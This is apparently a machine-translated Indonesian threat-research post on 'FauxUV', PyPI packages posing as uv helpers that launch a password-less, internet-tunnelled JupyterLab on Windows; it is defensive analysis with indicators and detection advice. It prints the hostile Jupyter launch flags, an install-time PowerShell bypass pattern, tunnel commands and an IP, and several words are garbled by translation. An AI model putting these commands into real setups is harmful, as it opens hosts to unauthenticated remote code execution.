TL; DR
Sekelompok paket PyPI meminjam nama tersebut. uv, pengelola paket Python berbasis Rust yang cepat dan sangat populer, menyamar sebagai pembantu uv. Mereka hampir tidak mengirimkan fungsi nyata apa pun. Yang mereka bawa sebagai gantinya adalah muatan Windows yang menjalankan sebuah Server JupyterLab dengan autentikasi dimatikan dan, dalam versi selanjutnya, mempublikasikannya ke internet publik melalui terowongan terbalik.
Itulah keseluruhan ceritanya dalam satu kalimat: Nama alat yang terpercaya sebagai umpan, dan JupyterLab sebagai mesin eksekusi kode jarak jauh. Server Jupyter menjalankan kode apa pun yang Anda ketikkan ke dalam sebuah input.ebook Sel; yang diluncurkan dengan token kosong dan terikat pada setiap antarmuka jaringan adalah penerjemah terbuka yang dapat dikendalikan oleh siapa pun yang dapat mencapai port tersebut.
Kami melacak klaster tersebut sebagai FauxUVKedua paket yang diperiksa adalah... moon-uv (0.0.1 – 0.0.16) dan my-magic-uv-helper (0.0.1), diterbitkan oleh operator yang sama dan tersedia di PyPI pada saat analisis.
| Ekosistem | PyPI |
| Paket Exklusif | moon-uv (0.0.1 – 0.0.16), my-magic-uv-helper (0.0.1) |
| Platform yang ditargetkan | Windows |
| Perilaku inti | Server JupyterLab yang tidak terautentikasi, dipublikasikan ke internet melalui terowongan terbalik. |
| Alat-alat yang sah disalahgunakan. | uv, JupyterLab, cloudflared, Pinggy |
Daya tariknya: nama yang sudah Anda percayai.
uv adalah salah satu alat Python yang paling banyak diinstal dalam dua tahun terakhir, jadi "alat bantu untuk uv” adalah paket yang diinstal pengembang tanpa pikir panjang. FauxUV mempertaruhkan kredibilitasnya sepenuhnya pada nama itu. Paket-paket tersebut membungkus asli uv Installer dari Astral — URL dalam payload mengarah ke host asli dan terpercaya — jadi sekilas pandang hanya melihat referensi yang dapat dipercaya. Tidak satu pun dari paket tersebut yang benar-benar menambahkan uv Fungsionalitas; nama itu hanyalah kedok belaka.
JupyterLab sebagai mesin RCE.
Inti dari muatan tersebut adalah peluncur yang memulai JupyterLab tanpa pengaman sama sekali:
jupyter server --with jupyterlab --ip=0.0.0.0 # listen on every interface --ServerApp.token="" # no password, no token --allow_origin='*' # accept cross-origin connections --disable_check_xsrf # allow a remote browser/WebSocket to drive it Setiap bendera menghilangkan satu perlindungan, dan naskah yang disertakan bahkan memberi keterangan pada bendera tersebut (dalam bahasa Mandarin asli): token kosong “Menonaktifkan pemeriksaan kata sandi dan token — siapa pun dapat terhubung.” laboratorium jupyter adalah IDE ilmu data yang sah, tetapi bukanebook Sel ini mengeksekusi kode sembarang sesuai desainnya. Dikonfigurasi seperti ini dan terikat pada 0.0.0.0, maka fungsi tersebut berhenti menjadi IDE dan berubah menjadi shell jarak jauh tanpa otentikasi pada host — tidak diperlukan binary malware khusus, hanya alat mainstream yang diarahkan ke arah yang salah.
Dua komponen pendukung membuat hal itu dapat dicapai dan diulang:
- Pemicu instalasi senyap. Versi awal menjalankan PowerShell dengan -ExecutionPolicy Bypass langsung dari setup.py on pemasangan pip, di latar belakang dengan kesalahan yang ditekan sehingga biji Terlihat normal. Versi selanjutnya memindahkan primitif yang sama ke dalam sebuah pip-uv gunakan alat baris perintah — dan hilangkan sepenuhnya fitur jalankan otomatis saat instalasi.
- Terowongan terbalik umum. Sebuah server di 0.0.0.0 masih hanya dapat dijangkau oleh host yang dapat melakukan routing ke mesin tersebut. Modul yang dibundel membuka [Pinggy](https://pinggy.io/) Terowongan balik SSH yang meneruskan port Jupyter lokal ke alamat publik, sehingga menghilangkan batasan tersebut. Skrip yang disertakan juga menyertakan — yang dikomentari — jalur alternatif menggunakan Cloudflare. awan menyala dan netsh Menggunakan port proxy ke IP Linode, mendokumentasikan tujuan yang sama melalui infrastruktur yang berbeda.
Sederhananya: instal paketnya, dan sebuah host Windows akan menjalankan JupyterLab tanpa kata sandi dan mempublikasikannya ke internet terbuka.
Bagaimana FauxUV berevolusi
Versi-versi FauxUV dirilis secara berurutan dengan cepat, dan titik pemicu muatan (payload) berpindah-pindah di antara versi-versi tersebut — sebuah pengingat bahwa satu versi yang ditandai jarang menceritakan keseluruhan kisah dari suatu lini paket.
| Tahap | versi | Pelatuk | Apa yang ditambahkannya |
|---|---|---|---|
| Pasang kait | moon-uv 0.0.1-0.0.3, my-magic-uv-helper 0.0.1 | setup.py pada instalasi pip | uv install + PATH prepend |
| CLI-runtime | moon-uv 0.0.5-0.0.13 | pip-uv Command | peluncur JupyterLab tanpa kata sandi |
| Terowongan | moon-uv 0.0.14-0.0.16 | pip-uv Command | terowongan balik Pinggy aktif |
Yang perlu diperhatikan adalah, fitur auto-run saat instalasi adalah... dihapus pada versi yang lebih baru dan lebih mumpuni — jadi pemindai hanya berfokus pada siklus hidup. hooks akan memberi nilai pada rilisan yang lebih baru sebagai kurang Berisiko, justru sebaliknya.
Indikator kompromi
Dikonfirmasi dengan membaca kode sumber paket; titik akhir ditandai. berkomentar Terdapat dalam file tetapi tidak dieksekusi oleh versi yang dianalisis. Indikator jaringan dinonaktifkan.
| Tipe | Indikator |
|---|---|
| Perintah instal | powershell -ExecutionPolicy Bypass Mengambil installer UV asli, pada saat instalasi pip. |
| Bendera JupyterLab | --ip=0.0.0.0 --ServerApp.token="" --allow_origin='*' --disable_check_xsrf |
| Terowongan terbalik (aktif) | free[.]pinggy[.]io:443 meneruskan lokal 127.0.0.1:8888 |
| Host terowongan (berkomentar) | cloudflared tunnel --url hxxp://127[.]0[.]0[.]1:2718 |
| IP (berkomentar) | 45[.]79[.]134[.]161 (Linode) melalui netsh port-proxy |
| Ketekunan | menambahkan %USERPROFILE%\.local\bin ke PATH pengguna |
Sinyal perilaku yang perlu diwaspadai, terlepas dari rangkaian kata-kata persis ini: a pemasangan pip yang menghasilkan powershell -ExecutionPolicy Bypass; setiap jupyter peluncuran gabungan token="" dengan –ip=0.0.0.0; dan SSH keluar ke *.pinggy.io dari mesin pengembang atau CI.
Perilaku yang diamati dan asal-usulnya
Kedua paket tersebut memiliki penulis dan metode yang sama: nama alat tepercaya, pembatasan akses hanya untuk Windows, eksekusi latar belakang yang menekan kesalahan, dan ketergantungan pada alat-alat terkemuka sehingga sekilas hanya menampilkan URL yang terpercaya. Kode sumbernya memuat komentar berbahasa Mandarin yang menjelaskan flag yang relevan dengan keamanan secara gamblang; kami melaporkan hal tersebut sebagai pernyataan yang dapat diamati dalam file, bukan sebagai klaim tentang motif. izinkan_asal nilai dan colab.bat Nama file mencerminkan alur kerja informal "berbagi runtime lokal saya" yang beredar untuk Google Colab. Apa pun asalnya, hasil yang dikemas tetap sama.
Dampak dan panduan bagi para pembela
Siapa yang terpapar FauxUV? Pengembang Windows dan pelaksana CI yang pemasangan pip Salah satu paket ini. JupyterLab tanpa kata sandi di 0.0.0.0 Eksekusi kode jarak jauh dapat dilakukan oleh siapa pun yang dapat mencapai port tersebut; terowongan tersebut menghilangkan batasan "siapa yang dapat mencapainya". Server berjalan sebagai pengguna yang menginstal, mewarisi file, token, dan kredensial cloud pengguna tersebut.
Mengapa hal ini mudah terlewatkan. Setiap string jaringan mengarah ke host yang bereputasi baik — Astral, JupyterLab, awan menyala, Pinggy, Colab. Tidak ada biner malware untuk di-hash dan tidak ada blob yang dienkripsi untuk didekode. Pemindaian berbasis reputasi dan tanda tangan sama-sama kurang mempertimbangkan hal ini, itulah sebabnya pertanyaan perilaku — Apa yang akan dilakukan mesin setelah menginstal paket ini? — dialah yang menangkapnya.
Bimbingan:
- Perlakukan setiap waktu instalasi powershell -ExecutionPolicy Bypass sebagai sinyal yang dapat menghentikan proses build, apa pun URL yang diaksesnya.
- Peringatkan jupyter diluncurkan dengan token kosong dan –ip=0.0.0.0Kombinasi tersebut seharusnya tidak pernah muncul di workstation atau runner.
- Memantau SSH keluar ke penyedia terowongan (*.pinggy.io, *.cobacloudflare.com) dari lingkungan pengembang dan CI.
- Install uv dari [sumber resminya](https://docs.astral.sh/uv/) dan bersikap skeptis terhadap paket "pembantu" pihak ketiga yang membungkus alat yang sudah mudah dipasang.
- Sematkan dan tinjau ulang dependensi saat peningkatan — lini paket dapat mengembangkan kemampuan baru dari versi ke versi.



